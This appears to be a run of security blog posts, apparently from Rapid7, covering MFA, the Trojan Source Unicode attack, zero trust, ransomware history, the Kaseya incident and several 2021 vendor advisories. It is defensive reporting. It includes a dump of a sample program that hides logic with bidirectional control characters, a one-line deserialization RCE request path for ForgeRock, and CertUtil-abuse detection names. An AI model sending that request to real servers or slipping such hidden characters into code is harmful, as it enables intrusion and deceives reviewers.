We discussed remote access in the previous section, and gaining remote access generally requires some sort of authentication and authorization. No external gateway, and no critical external application, should be accessible without a solid multi-factor authentication solution in place. Credentials are regularly up for sale on criminal marketplaces, and sellers test them regularly to ensure freshness. If you allow gateway or critical application access with just a single factor, you’ve pretty much handed the keys over to your adversaries.
Similarly, when a new breach is disclosed that includes stolen credential databases, it’s important to monitor services such as Have I Been Pwned and have a process in place to quickly reset any potentially compromised accounts (usually based on email address).
Staying left of boom: A general approach
The 3 examples covered here are important, but they’re far from the full picture. We encourage teams to look at all the forms of initial access and examine them through the lens of their threat assessment and remediation analysis library, so they can see all the areas that need to be covered and apply appropriate preventative measures. If your team doesn’t have said library, a good place to start is over at the MITRE bookshelf, where you can find free, vendor-agnostic, detailed resources on how to establish such a program in your organization.
However, a strong public-facing posture, solid service configurations, and multi-factor authentication will have your organization well-positioned to avoid many negative outcomes.
Want more 2022 planning tips from industry experts?
Researchers at the University of Cambridge and the University of Edinburgh recently published a paper on an attack technique they call “Trojan Source.” The attack targets a weakness in text-encoding standard Unicode—which allows computers to handle text across many different languages—to trick compilers into emitting binaries that do not actually match the logic visible in source code. In other words, what a developer or security analyst sees in source code with their own eyes could be different from how a compiler interprets it—leading, in effect, to an attack that is not easily discernible. This weakness arises from Unicode’s bidirectional “BiDi” algorithm and affects most compilers, or perhaps more accurately, most editing and code review tooling; the idea that source code will be compiled the way it is displayed to the human eye is a fundamental assumption.
How the attack works.
It is possible, and often necessary, to have both left-to-right and right-to-left glyphs appear in the same sentence. A classic example from O’Reilly’s “Unicode Explained” book shows Arabic embedded in an English sentence and the direction readers familiar with both languages will read the section in:
There are a few options available to creators when the need for a document or section of a document to support bidirectional content, one of which is to insert “invisible” control characters that dictate the directionality of text following the directive. This is how the “Trojan Source” attack works. Let’s use one of the examples from the paper to illustrate what’s going on.
The screenshot above is from the GitHub repository associated with the paper and shows the C language source code that looks like it should not print anything when compiled and run. (Also note that there is a very explicit safety banner, which you should absolutely take very seriously in any source code you see it displayed in).
When we copy that code from the browser and paste it into the popular Sublime Text editor with the Gremlins package installed and enabled, we can see the attempted shenanigans pretty clearly:
The line number sidebar shows where sneaky directives have been inserted, and the usually invisible content is explicitly highlighted and not interpreted, so you can see what’s actually getting compiled. In this case, one is always “admin” when they run this program. The bottom line is that you cannot fully trust just your eyes without some assistance.
Note that cat Linux command (available on Windows via the Windows Subsystem for Linux and via macOS by installing the GNU version of the utility) can also be used to display these invisible gremlins:
cat -A -v commentint-out.c #include <stdio.h>$
#include <stdbool.h>$
$
int main() {$
bool isAdmin = false;$
/*M-bM-^@M-. } M-bM-^AM-&if (isAdmin)M-bM-^AM-) M-bM-^AM-& begin admins only */$
printf("You are an admin.\n");$
/* end admins only M-bM-^@M-. { M-bM-^AM-&*/$
return 0;$
}$
$
Unfortunately, GitHub’s safety banner and code-editor plugins do not scale very well. Thankfully, Red Hat has come to the rescue with a simple Python script which can help us identify potential issues across an entire codebase with relative ease. It should also be possible to use this script in pre-commit hooks or in CI/CD workflows to prevent malicious code from entering into production.
CVSSv3 9.8?! Orly?!
While this isn’t really a “vulnerability” in the traditional sense of the word, it’s been assigned CVE-2021-42574 and given a “Critical” CVSSv3 score of 9.8. (The “PetitPotam” attack chain targeting Windows domains is another example of a technique that was recently assigned a CVE.) It’s a little puzzling why CVE-2021-42574 merited a “Critical” severity score, though. According to our calculations, this weakness should be more like a 5.6 on the CVSSv3 scale.
Should I be super scared?
It’s an interesting attack, and its universality is certainly attention-grabbing. With that said, there are some caveats to both novelty and exploitability. Attack techniques that leverage Unicode’s text expression aren’t new. The CVSS score assigned to this is overblown. To exploit this weakness, an attacker would need to have direct access to developers’ workstations, source code management system, or CI pipelines. If an attacker has direct access to your source code management system, frankly, you probably have bigger problems than this attack. Note that said “attacker” could be a legitimate, malicious insider; those types of attackers are notoriously difficult to fully defend against.
What should I do?
You should apply patches from vendors whose products you rely on just as you normally would, keeping in mind that because this flaw is present in so many tooling implementations, you could apply many patches and still be considered “vulnerable” in other implementations. The better thing to do would be to apply a fairly straightforward mitigation: Disallow BiDi directives in your code base if you’re writing in only English or only Arabic.
As noted above, you should absolutely heed the Unicode safety warnings (if available) in any source code repositories you use, and strongly consider using something like the aforementioned Red Hat Unicode directionality directive checker-script in source code control and continuous integration and deployment workflows.
We advise prioritizing truly critical patches and limiting service and system exposure before worrying about source code-level attacks that require local or physical access.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
“Zero trust” is increasingly being heralded as the ultimate solution for organizational cyber safety and resilience — but what does it really mean, and how can you assess if it has a practical place in your organization’s cybersecurity strategy for 2022?
In this post, we’ll answer those questions by taking a look at what problems the concept of zero trust is trying to solve, what types of people, process, and technology are necessary for successful zero-trust implementations, and what mindset changes your organization many need to make to be fully ready for this new defender paradigm in the year to come.
What is zero trust?
At the core, the concept of zero trust is just what those two words suggest: every human, endpoint, mobile device, server, network component, network connection, application workload, business process, and flow of data is inherently untrusted. As such, they each must be authenticated and authorizedcontinuously as each transaction is performed, and all actions must be auditable in real time and after the fact. Zero trust is a living system, with all access rules under continuous review and modification, and all allowed transactions under constant re-inspection.
What problems is zero trust trying to solve?
Zero trust aims to finally shatter the mythical concept of “castle and moat” (i.e., assuming individuals and components on the intranet are inherently safe) and fully realize the power of least privilege — the concept that individuals and components should only have the most minimal access necessary to perform a required action. We can see it better through the lens of a practical example, such as one of the most typical ransomware attack scenarios: an attacker gains initial access to a corporate network through simple VPN credentials.
In most current implementations, a VPN has one interface that sits on the internet and one that sits on the intranet. Unfortunately, most VPNs are still accessed via simple credentials. Once authenticated, an attacker impersonating a user represented by those credentials has general network access. They’re free to replay the credentials (or attempt to use various tools to obtain other credentials or tokens) on any other connected system until they gain access to one where they can elevate privileges and begin exfiltrating data and corrupting the integrity of filesystems and databases.
In a zero-trust environment, the user identified by a set of credentials would also need a second authentication factor. The entire authentication attempt would be risk-assessed in real time to see if the individual’s connection is, say, in an allowed geofence and that the access time is within the usual operating mode of that person (and that the individual does not already have an established session).
Even if an attacker managed to obtain multi-factor codes — for example, SMS 2-factor authentication (2FA) has weaknesses but may be the only 2FA an organization can afford to implement — they may achieve a successful connection but would not have general access to all intranet systems and services. In fact, the VPN connection would only grant them access to a defined set of applications or services. If the attacker makes any attempt to try a network scan or perform other noisy network actions, monitoring systems would be alerted, and that individual and connection would be quarantined for investigation.
Each transaction has a defined set of authentication, authorization, and behavior auditing rules that continually let the overarching zero-trust system ensure the safety of the interactions.
What do you need to move to zero trust?
While this section could fill an entire book, we’ll work under the assumption that you are just beginning your zero-trust journey. To make this initial move, you’ll need to pick at least one business process or service access scenario to move to this new model.
Every component and individual that is responsible for enabling that business process or service must be identified and the architecture fully documented. At this point in the process, you may find that you need to reimagine the architecture to ensure you have the necessary control and audit points in place. You’ll then need authentication, authorization, auditing, risk-assessing, and enforcement solutions to support the access decisions at each connection in the process or service. Finally, you’ll need staffing to support creation and maintenance of the rules that are enforced, along with traditional patching, mitigation, and configuration management enforcement activities.
Then, lather, rinse, and repeat for all other processes and services. In other words, you need quite a bit.
However, you should not — and, in reality, cannot — move every business process and service to zero trust all at once. Once you’ve assessed that initial service, begin the groundwork of acquiring the necessary tools and hiring the necessary staff to ensure a successful outcome. Then, transition that initial service over to zero trust when funding and time are on your side, and leave it in place for a while as you evaluate what it takes to maintain safety and resilience. Adjust your tooling and staffing plans accordingly, and get to work on the remaining processes or services.
Thankfully, you may have many of these components and personnel in place within existing security and compliance solutions and processes, and you can finally employ more of your existing investments’ capabilities than the 5 to 15% that most organizations generally utilize.
Adopting the zero-trust mindset
One of the biggest mindset challenges to overcome when introducing zero trust into your organization is the fear that the constraints the model imposes will reduce productivity and hamper creativity. These fears can be overcome with the right framing of zero trust.
Start by performing a scenario-based risk assessment of a given business process. Do this with the business process owner(s) or stakeholder(s), and ensure you enumerate what actions threat actors could take at each transaction point in the process, ideally with some measurement to the costs due to loss of safety and resilience.
Then, show how each threat is reduced or eliminated with a zero-trust implementation of the same business process, and note how new processes — developed with a zero-trust mindset at the start — will have reduced implementation costs, be far more safe and resilient, and be much easier to enhance over time as they will have been established on a solid foundation.
Zero trust is not some sticker on some point solution’s brochure. It is a fundamental change to how your organization approaches access, authentication, authorization, auditing, and continuous monitoring. You won’t adopt zero trust overnight, but you can begin that journey today, knowing that you’re on the path to helping your organization protect itself from tomorrow’s threats, as well as today’s.
Want more 2022 planning tips from industry experts?
Our collective use of and dependence on technology has come quite a long way since 1989. That year, the first documented ransomware attack — the AIDS Trojan — was spread via physical media (5 1⁄4″ floppy disks) delivered by the postal service to individuals subscribed to a mailing list. The malware encrypted filenames (not the contents) and demanded payment ($189 USD) to be sent to a post office box to gain access to codes that would unscramble the directory entries.
That initial ransomware attack — started by an emotionally disturbed AIDS researcher — gave rise to a business model that has evolved since then to become one of the most lucrative and increasingly disruptive cybercriminal enterprises in modern history.
In this post, we’ll:
Examine what has enabled this growth
See how tactics and targets have morphed over the years
Take a hard look at the societal impacts of more recent campaigns
Paint an unfortunately bleak picture of where these attacks may be headed if we cannot work together to curtail them
Building the infrastructure of our own demise: Ransomware’s growth enablers
As PCs entered homes and businesses, individuals and organizations increasingly relied on technology for everything from storing albums of family pictures to handling legitimate business processes of all shapes and sizes. They were also becoming progressively more connected to the internet — a domain formerly dominated by academics and researchers. Electronic mail (now email) morphed from a quirky, niche tool to a ubiquitous medium, connecting folks across the globe. The World Wide Web shifted from being a medium solely used for information exchange to the digital home of corporations and a cadre of storefronts.
The capacity and capabilities of cyberspace grew at a frenetic pace and fueled great innovation. The cloud was born, cheaply putting vast compute resources into the hands of anyone with a credit card and reducing the complexity of building internet-enabled services. Today, sitting on the beach in an island resort, we can speak to the digital assistant on our smartphones and issue commands to our home automatons thousands of miles away.
Despite appearances, this evolution and expansion was — for the most part — unplanned and emerged with little thought towards safety and resilience, creating (unseen by most) fragile interconnections and interdependencies.
The concept and exchange mechanisms of currency also changed during this time. Checks in the mail and wire transfers over copper lines have been replaced with digital credit and debit transactions and fiat-less digital currency ledger updates.
So, we now have blazing fast network access from even the most remote locations, globally distributed, cheap, massive compute resources, and baked-in dependence on connected technology in virtually every area of modern life, coupled with instantaneous (and increasingly anonymous) capital exchange. Most of this infrastructure — and nearly all the processes and exchanges that run on it — are unprotected or woefully under protected, making it the perfect target for bold, brazen, and clever criminal enterprises.
From pictures to pipelines: Ransomware’s evolving targets and tactics
At their core, financially motivated cybercriminals are entrepreneurs who understand that their business models must be diverse and need to evolve with the changing digital landscape. Ransomware is only one of many business models, and it’s taken a somewhat twisty path to where we are today.
Attacks in the very early 2000s were highly regional (mostly Eastern Europe) and used existing virus/trojan distribution mechanisms that randomly targeted businesses via attachments spread by broad stroke spam campaigns. Unlike their traditional virus counterparts, these ransomware pioneers sought small, direct payouts in e-gold, one of the first widely accessible digital currency exchanges.
By the mid-2000s, e-gold was embroiled in legal disputes and was, for the most part, defunct. Instead of assuaging attackers, even more groups tried their hands at the ransomware scheme, since it had a solid track record of ensuring at least some percentage of payouts.
Many groups shifted attacks towards individuals, encrypting anything from pictures of grandkids to term papers. Instead of currency, these criminals forced victims to procure medications from online pharmacies and hand over account credentials so the attackers could route delivery to their drop boxes.
Others took advantage of the fear of exposure and locked up the computer itself (rather than encrypt files or drives), displaying explicit images that could be dismissed after texting or calling a “premium-rate” number for a code.
However, there were those who still sought the refuge of other fledgling digital currency markets, such as Liberty Reserve, and migrated the payout portion of encryption-based campaigns to those exchanges.
By the early 2010s — due, in part, to the mainstreaming of Bitcoin and other digital currencies/exchanges, combined with the absolute reliance of virtually all business processes on technology — these initial, experimental business models coalesced into a form we should all recognize today:
Gain initial access to a potential victim business. This can be via phishing, but it’s increasingly performed via compromising internet-facing gateways or using legitimate credentials to log onto VPNs — like the attack on Colonial Pipeline — and other remote access portals. The attacks shifted focus to businesses for higher payouts and also a higher likelihood of receiving a payout.
Encrypt critical files on multiple critical systems. Attackers developed highly capable, customized utilities for performing encryption quickly across a wide array of file types. They also had a library of successful, battle-tested techniques for moving laterally throughout an organization. Criminals also know the backup and recovery processes at most organizations are lacking.
Demanding digital currency payout in a given timeframe. Introducing a temporal component places added pressure on the organization to pay or potentially lose files forever.
The technology and business processes to support this new model became sophisticated and commonplace enough to cause an entire new ransomware as a service criminal industry to emerge, enabling almost anyone with a computer to become an aspiring ransomware mogul.
On the cusp of 2020 a visible trend started to emerge where victim organizations declined to pay ransom demands. Not wanting to lose a very profitable revenue source, attackers added some new techniques into the mix:
Identify and exfiltrate high-value files and data before encrypting them. Frankly, it’s odd more attackers did not do this before the payment downturn (though, some likely did). By spending a bit more time identifying this prized data, attackers could then use it as part of their overall scheme.
Threaten to leak the data publicly or to the individuals/organizations identified in the data. It should come as no surprise that most ransomware attacks go unreported to the authorities and unseen by the media. No organization wants the reputation hit associated with an attack of this type, and adding exposure to the mix helped return payouts to near previous levels.
The high-stakes gambit of disruptive attacks: Risky business with significant collateral damage
Not all ransomware attacks go unseen, but even the ones that gained some attention rarely make it to mainstream national news. In the U.S. alone, hundreds of schools and municipalities have experienced disruptive and costly ransomware attacks each year going back as far as 2016.
Municipal ransomware attacks
When a town or city is taken down by a ransomware attack, critical safety services such as police and first responders can be taken offline for days. Businesses and citizens cannot make payments on time-critical bills. Workers, many of whom exist paycheck-to-paycheck, cannot be paid. Even when a city like Atlanta refuses to reward criminals with a payment, it can still cost taxpayers millions of dollars and many, many months to have systems recovered to their previous working state.
School-district ransomware attacks
Similarly, when a school district is impacted, schools — which increasingly rely on technology and internet access in the classroom — may not be able to function, forcing parents to scramble for child care or lose time from work. As schools were forced online during the pandemic, disruptive ransomware attacks also made remote, online classes inaccessible, exacerbating an already stressful learning environment.
Hobbled learning is not the only potential outcome as well. Recently, one of the larger districts in the U.S. fell victim to a $547,000 USD ransom attack, which was ultimately paid to stop sensitive student and personnel data from becoming public. The downstream identity theft and other impacts of such a leak are almost impossible to calculate.
Healthcare ransomware attacks
Hundreds of healthcare organizations across the U.S. have also suffered annual ransomware attacks over the same period. When the systems, networks, and data in a hospital are frozen, personnel must revert to back up “pen-and-paper” processes, which are far less efficient than their digital counterparts. Healthcare emergency communications are also increasing digital, and a technology blackout can force critical care facilities into “divert” mode, meaning that incoming ambulances with crisis care patients will have to go miles out of their way to other facilities and increase the chances of severe negative outcomes for those patients — especially when coupled with pandemic-related outbreak surges.
The U.K. National Health Service was severely impacted by the WannaCry ransom-“worm” gone awry back in 2017. In total, “1% of NHS activity was directly affected by the WannaCry attack. 80 out of 236 hospital trusts across England [had] services impacted even if the organisation was not infected by the virus (for instance, they took their email offline to reduce the risk of infection); [and,] 595 out of 7,4545 GP practices (8%) and eight other NHS and related organisations were infected,” according to the NHS’s report.
An attack on Scripps Health in the U.S. in 2021 disrupted operations across the entire network for over a month and has — to date — cost the organization over $100M USD, plus impacted emergency and elective care for thousands of individuals.
An even more deliberate massive attack against Ireland’s healthcare network is expected to ultimately cost taxpayers over $600M USD, with recovery efforts still underway months after the attack, despite attackers providing the decryption keys free of charge.
Transportation ransomware attacks
San Francisco, Massachusetts, Colorado, Montreal, the UK, and scores of other public and commercial transportation systems across the globe have been targets of ransomware attacks. In many instances, systems are locked up sufficiently to prevent passengers from getting to destinations such as work, school, or medical care. Locking up freight transportation means critical goods cannot be delivered on time.
Critical infrastructure ransomware attacks
U.S. citizens came face-to-face with the impacts of large-scale ransomware attacks in 2021 as attackers disrupted access to fuel and impacted the food supply chain, causing shortages, panic buying, and severe price spikes in each industry.
Water systems and other utilities across the U.S. have also fallen victim to ransomware attacks in recent years, exposing deficiencies in the cyber defenses in these sectors.
Service provider ransomware attacks
Finally, one of the most high-profile ransomware attacks of all time has been the Kaseya attack. Ultimately, over 1,500 organizations — everything from regional retail and grocery chains to schools, governments, and businesses — were taken offline for over a week due to attackers compromising a software component used by hundreds of managed service providers. Revenue was lost, parents scrambled for last-minute care, and other processes were slowed or completely stopped. If the attackers had been just a tad more methodical, patient, and competent, this mass ransomware attack could have been even more far-reaching and even more devastating than it already was.
The road ahead: Ransomware will get worse until we get better
The first section of this post showed how we created the infrastructure of our own ransomware demise. Technology has advanced and been adopted faster than our ability to ensure the safety and resilience of the processes that sit on top of it. When one of the largest distributors of our commercial fuel supply still supports simple credential access for remote access, it is clear we have all not done enough — up to now — to inform, educate, and support critical infrastructure security, let alone those of schools, hospitals, municipalities, and businesses in general.
As ransomware attacks continue to escalate and become broader in reach and scope, we will also continue to see increasing societal collateral damage.
Now is the time for action. Thankfully, we have a framework for just such action! Rapid7 was part of a multi-stakeholder task force charged with coming up with a framework to combat ransomware. As we work toward supporting each of the efforts detailed in the report, we encourage all other organizations and especially all governments to dedicate time and resources towards doing the same. We must work together to stem the tide, change the attacker economics, and reduce the impacts of ransomware on society as a whole.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
Rapid7 is aware of and tracking all information surrounding a coordinated, mass ransomware attack reported to be affecting hundreds of organizations. Huntress Labs is maintaining a public Reddit thread documenting the scope and triage of an event that has, as of the original post date (see updates below), stemmed from 8 managed service providers. Rapid7 does not use Kaseya or a Kaseya MSP and we are not affected by this mass ransomware attack.
Rapid7 is updating this post as more information becomes available. Core information is below the most recent updates.
In a video post today, Kaseya has indicated that they are still planning to go ahead with re-enabling an updated VSA SaaS and rollout of the on-prem VSA server update. Some runbook instructions have changed, so any organization planning on going live today should review those changes to see if they impact your environment.
2021-07-09
The Dutch Institue for Vulnerability Disclosure (DIVD) published more information on the specific vulnerabilities they shared with Kaseya:
CVE-2021-30116 – A credentials leak and business logic flaw, resolution in progress. [CVSS 10]
CVE-2021-30117 – An SQL injection vulnerability, resolved in May 8th patch. [CVSS 9.8]
CVE-2021-30118 – A Remote Code Execution vulnerability, resolved in April 10th patch. (v9.5.6) [CVSS 9.8]
CVE-2021-30119 – A Cross Site Scripting vulnerability, resolution in progress. [CVSS 5.4]
CVE-2021-30120 – 2FA bypass, resolution in progress. [CVSS 9.9]
CVE-2021-30121 – A Local File Inclusion vulnerability, resolved in May 8th patch. [CVSS 6.5]
CVE-2021-30201 – A XML External Entity vulnerability, resolved in May 8th patch. [CVSS 7.5]
President Biden urged Vladimir Putin to ‘take action to disrupt’ Russia-based hackers behind ransomware attacks.
2021-07-08
Kaseya has posted a video from their CEO notifying customers that patches and VSA SaaS will likely be available this coming Sunday afternoon (July 11, 2021).
Kaseya has posted runbooks for on premesis VSAs with steps on how to prepare VSA servers for the forthcoming patch. These details include the installation of FireEye’s agent software along with details on how to isolate the server from production networks, and SaaS customers for how to prepare for the SaaS VSAs coming back online.
2021-07-06
In a statement posted late Monday night, Kaseya provided an update on their assessment of the impact of the attack: "we are aware of fewer than 60 Kaseya customers, all of whom were using the VSA on-premises product, who were directly compromised by this attack. While many of these customers provide IT services to multiple other companies, we understand the total impact thus far has been to fewer than 1,500 downstream businesses. We have not found evidence that any of our SaaS customers were compromised.
The Compromise Detection Tool, which was originally only provided directly to customers, has been made public. The tool searches for indicators of compromise, evidence of data encryption, and the REvil ransom note.
Kaseya also stated that — based on advice by outside experts — customers who experienced ransomware and receive communication from the attackers should not click on any links as they may be weaponized.
2021-07-05
Deputy National Security Advisor for Cyber and Emerging Technology Anne Neuberger issued a statement noting that the President has directed the full resources of the government to investigate this incident and urged anyone who believes their systems have been compromised in the Kaseya ransomware incident to immediately report to the Internet Crime Complaint Center at https://www.IC3.gov.
The Associated Press is reporting that REvil has offered a blanket decryption for all victims of the Kaseya attack in exchange for $70 million.
Incident responders across multiple firms are indicating the number of victim organizations is in the thousands, spanning over 18 countries.
2021-07-04
Cado Security published resources which can aid responders as they triage theie exposure to the mass ransomware incident.
The Dutch Institue for Vulnerability Disclosure (DIVD) posted information into their ongoing investigation and response into the Kaseya incident, which includes details on their efforts to identify and secure internet-facing VSA servers.
CISA posted an initial advisory and is taking action to understand and address the recent supply-chain ransomware attack.
Bloomberg is reporting that the attack (so far) spans over 1,000 organizations across 11 countries with numerous downstream impacts.
Original/Main Content
Evidence points to a supply chain attack targeting Kaseya VSA patch management and monitoring software. Ransom notes suggest REvil is behind the coordinated attack.
Rapid7 Managed Detection and Response teams suggest that, out of an abundance of caution, organizations that use either an on-premise Kaseya VSA solution or the Kaseya cloud-based VSA solution perform the following steps immediately:
Disabling or uninstalling the Kaseya agent
If you host the Kaseya management server, shut down this system (Kaseya also strongly suggests this course of action)
Kaysea appears to be providing updates via their public helpdesk page and their status page provides visibility into the status of their hosted infrastructure.
Rapid7’s Managed Detection and Response (MDR) team had existing attacker behavior detections that identified Kaseya-related ransomware activity beginning on Friday, July 2, 2021. Following the initial wave of alerts on Friday, July 2, MDR sent an email communication with a Critical Advisory to all MDR customers with guidance on disabling Kaseya and mitigating risk. We have conducted hunts across customer environments and deployed additional detections to accelerate identification of the threat. Affected customers have been notified.
InsightIDR
Rapid7 has deployed the following detections in InsightIDR for attacker behavior related to the Kaseya ransomware attack:
Attacker Technique – CertUtil With Decode Flag
Suspicious Process – Renamed CertUtil
Suspicious Process – Certutil Decodes Executable File
On June 29, 2021, security researcher Michael Stepankin (@artsploit) posted details of CVE-2021-35464, a pre-auth remote code execution (RCE) vulnerability in ForgeRock Access Manager identity and access management software. ForgeRock front-ends web applications and remote access solutions in many enterprises.
ForgeRock has issued Security Advisory #202104 to provide information on this vulnerability and will be updating it if and when patches are available.
The weakness exists due to unsafe object deserialization via the Jato framework, with a disturbingly diminutive proof of concept that requires a single GET/POST request for code execution:
GET /openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>
ForgeRock versions below 7.0 running on Java 8 are vulnerable and the weakness also exists in unpatched versions of the Open Identify Platform’s fork of OpenAM. ForgeRock/OIP installations running on Java 9 or higher are unaffected.
As of July 29, 2021 there are no patches for existing versions of ForgeRock Access Manager. Organizations must either upgrade to version 7.x or apply one of the following workarounds:
Option 1
Disable the VersionServlet mapping by commenting out the following section in the AM web.xml file (located in the /path/to/tomcat/webapps/openam/WEB-INF directory):
Block access to the ccversion endpoint using a reverse proxy or other method. On Apache Tomcat, ensure that access rules cannot be bypassed using known path traversal issues: Tomcat path traversal via reverse proxy mapping.
The upgrades remove the vulnerable /ccversion HTTP endpoint along with other HTTP paths that used the vulnerable Jato framework.
As of Tuesday, June 29, 2021, Rapid7 Labs has been able to identify just over 1,000 internet-facing systems that appear to be using ForgeRock’s OpenAM solution.
All organizations running ForgeRock OpenAM 7.0.x or lower (or are using the latest release of the Open Identify Platform’s fork of OpenAM) are urged to prioritize upgrading or applying the mitigations within an accelerated patch window if possible, and at the very least within the 30-day window if you are following the typical 30-60-90 day patch criticality cadence. Furthermore, organizations that are monitoring web application logs and OpenAM server logs should look for anomalous GET or POST request volume to HTTP path endpoints that include /ccversion in them.
On Feb. 24, 2021, Cisco released many patches for multiple products, three of which require immediate attention by organizations if they are running affected systems and operating system/software configurations. They are detailed below:
Cisco Multi-Site Orchestrator (MSO) is the product responsible for provisioning, health monitoring, and managing the full lifecycle of Cisco Application Centric Infrastructure (ACI) networking policies and tenant policies across all Cisco ACI sites organizations have deployed. It essentially has full control over every aspect of networking and network security. Furthermore, Cisco ACI can be integrated with and administratively control VMware vCenter Server, Microsoft System Center VMM [SCVMM], and OpenStack controller virtualization platform managers.
A weakness in an API endpoint of Cisco ACI MSO installed on the Application Services Engine could allow an unauthenticated, remote attacker to bypass authentication on an affected device. One or more API endpoints improperly validated API tokens and a successful exploit gives an unauthenticated, remote attacker full control over this powerful endpoint.
This vulnerability affects Cisco ACI Multi-Site Orchestrator (MSO) running a 3.0 release of software only when deployed on a Cisco Application Services Engine. Only version 3.0 (3m) is vulnerable.
Thankfully, this vulnerability was discovered internally, reducing the immediate likelihood of proof-of-concept exploits being available.
Organizations are encouraged to restrict API access to trusted, segmented networks and ensure this patch is applied within critical patch change windows.
CVE-2021-1393 allows unauthenticated, remote attackers access to a privileged service on affected devices. One service running on the ASE Data Network has insufficient access controls which can be exploited by attackers via specially crafted TCP requests. Successful exploits result in privileged device access enabling the running of containers and execution of any host-level commands.
CVE-2021-1396 allows unauthenticated, remote attackers access to a privileged service on affected devices. This, too, affects a service API with lax access controls on the Data Network. Successful exploitation results in significant information disclosure, creation of support-level artifacts on an isolated volume, and the ability to manipulate an undocumented subset of configuration settings.
The ASE Data Network provides the following services:
Cisco Application Services Engine Clustering
App to app communication
Access to the management network of the Cisco ACI fabric
All app-to-ACI fabric communications
The Data Network is not the same as the Management Network, thus segmentation is not an option for temporary mitigation.
These vulnerabilities affect Cisco ASE software released 1.1 (3d) and earlier.
Again, thankfully, this vulnerability was discovered internally, reducing the immediate likelihood of proof-of-concept exploits being available.
Organizations are encouraged to ensure this patch is applied within critical patch change windows.
CVE-2021-1361 enables remote, unauthenticated attackers to create, modify, or delete arbitrary files with the privileges of the root user on Cisco Nexus 3000 and 9000 series switches in standalone NX-OS mode.
Cisco has provided more technical information on this critical vulnerability than they have for the previous two, disclosing that a service running on TCP port 9075 improperly listens and responds to external communication requests. Specially crafted TCP requests can result in sufficient permissions to perform a cadre of actions, including creating a local user account without administrators (or log collectors) knowing.
Organizations can use the following command line on standalone NX-OS Nexus 3000/9000’s to determine if this service is listening externally:
nexus# show sockets connection | include 9075
tcp LISTEN 0 32 * : 9075
Only Nexus 3000/9000 series switches in standalone NX-OS mode are affected.
Organizations are encouraged to restrict Cisco management and control plane access to trusted, segmented networks and use on-device access control lists (ACLs) to block external requests to TCP port 9075. Once mitigations are performed, organizations should ensure this patch is applied within critical patch change windows. However, please note that this vulnerability was discovered by an external, anonymous reporter, which likely means there is at least one individual/group outside of Cisco that knows how to exploit this weakness. Such information may affect patch prioritization decisions in some organizations.
Rapid7 will update this post as more information is provided or proof-of-concept exploits are discovered.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
This blog post was co-authored by Bob Rudis and Caitlin Condon.
What’s up?
On Feb. 23, 2021, VMware published an advisory (VMSA-2021-0002) describing three weaknesses affecting VMware ESXi, VMware vCenter Server, and VMware Cloud Foundation.
Before digging into the individual vulnerabilities, it is vital that all organizations that use the HTML5 VMware vSphere Client, i.e., VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2) immediately restrict network access to those clients—especially if they are not segmented off on a management network—implement the mitigation noted below, and consider performing accelerated/immediate patching on those systems.
Vulnerability details and recommendations
CVE-2021-21972 is a critical (CVSSv3 base 9.8) unauthenticated remote code execution vulnerability in the HTML5 vSphere client. Any malicious actor with access to port 443 can exploit this weakness and execute commands with unrestricted privileges.
CVE-2021-21973 is an important (CVSSv3 base 8.8) heap-overflow-based remote code execution vulnerability in VMware ESXi OpenSLP. Attackers with same-segment network access to port 427 on affected systems may be able to use the heap-overflow weakness to perform remote code execution.
Rapid7 recommends applying the vendor-provided patches as soon as possible after performing the vendor-recommended mitigation.
CVE-2021-21974 is a moderate (CVSSv3 base 5.3) server-side request forgery vulnerability affecting the HTML5 vSphere Client. Attackers with access to port 443 of affected systems can use this weakness to gain access to underlying system information.
Since attackers will already be focusing on VMware systems due to the other high-severity weaknesses, Rapid7 recommends applying the vendor-provided patches as soon as possible after performing the vendor-recommended mitigation.
Attacker activity
Rapid7 Labs has not detected broad scanning for internet-facing VMware vCenter servers, but Bad Packets has reported that they’ve detected opportunistic scanning. We will continue to monitor Project Heisenberg for attacker activity and update this blog post as we have more information.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
Cisco has released security updates to address vulnerabilities in most of their product portfolio, some of which may be exploited to gain full system/device control on certain devices, and one fixes the recently disclosed sudo input validation vulnerability. We discuss this vulnerability below, but there are many more lower-severity, or “valid administrator credentials-required” bugs on the Cisco Security Advisories page that all organizations who use Cisco products should review.
According to the advisory, the vulnerability is due to “improper parsing of command line parameters that may result in a heap-based buffer overflow. An attacker could exploit this vulnerability by accessing a Unix shell on an affected device and then invoking the sudoedit command with crafted parameters or by executing a binary exploit.”
All commands invoked after exploiting this vulnerability will have root privileges.
This weakness will also enable lower-privileged users with access to Cisco devices to elevate their privileges, meaning you technically are out of compliance with any role-based access control requirement (which is in virtually every modern cybersecurity compliance framework).
Rapid7 strongly advises organizations to patch this weakness as soon as possible to stop attackers and curious users from taking control of your network, as well as ensuring you are able to continue checking ✅ this particular compliance box. Even though we mentioned it at the top of the post, don’t forget to check out the rest of the Cisco security advisories to see whether you need to address weaknesses in any of your other Cisco devices.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
Not content with the beating it laid down in January, 2021 continues to deliver with an unpatched zero-day exposure in some SonicWall appliances and three moderate-to-critical CVEs in SolarWinds software. We dig into the details below.
Urgent mitigations required for SonicWall SMA 100 Series appliances
On Jan. 22, 2021, SonicWall published an advisory and in-product notification that they had identified a coordinated attack on their internal systems by highly sophisticated threat actors exploiting probable zero-day vulnerabilities on certain SonicWall secure remote access products.
Specifically, they identified Secure Mobile Access (SMA) version 10.x running on the following physical SMA 100 appliances running firmware version 10x, as well as the SMA 500v virtual appliance:
SMA 200
SMA 210
SMA 400
SMA 410
On Jan. 31, 2021, NCC Group Research & Technology confirmed and demonstrated exploitability of a possible candidate for the vulnerability and detected indicators that attackers were exploiting this weakness.
On Feb. 3, 2021, SonicWall released a patch to firmware version SMA 10.2.0.5-29sv, which all impacted organizations should apply immediately.
SonicWall has recommended removing all SMA 100 Series appliances for SMA 500v virtual appliances from the internet until a patch is available. If this is not possible, organizations are strongly encouraged to perform the following steps:
Enable multi-factor authentication. SonicWall has indicated this is a “critical” step until the patch is available.
Reset user password for all SMA 100 appliances.
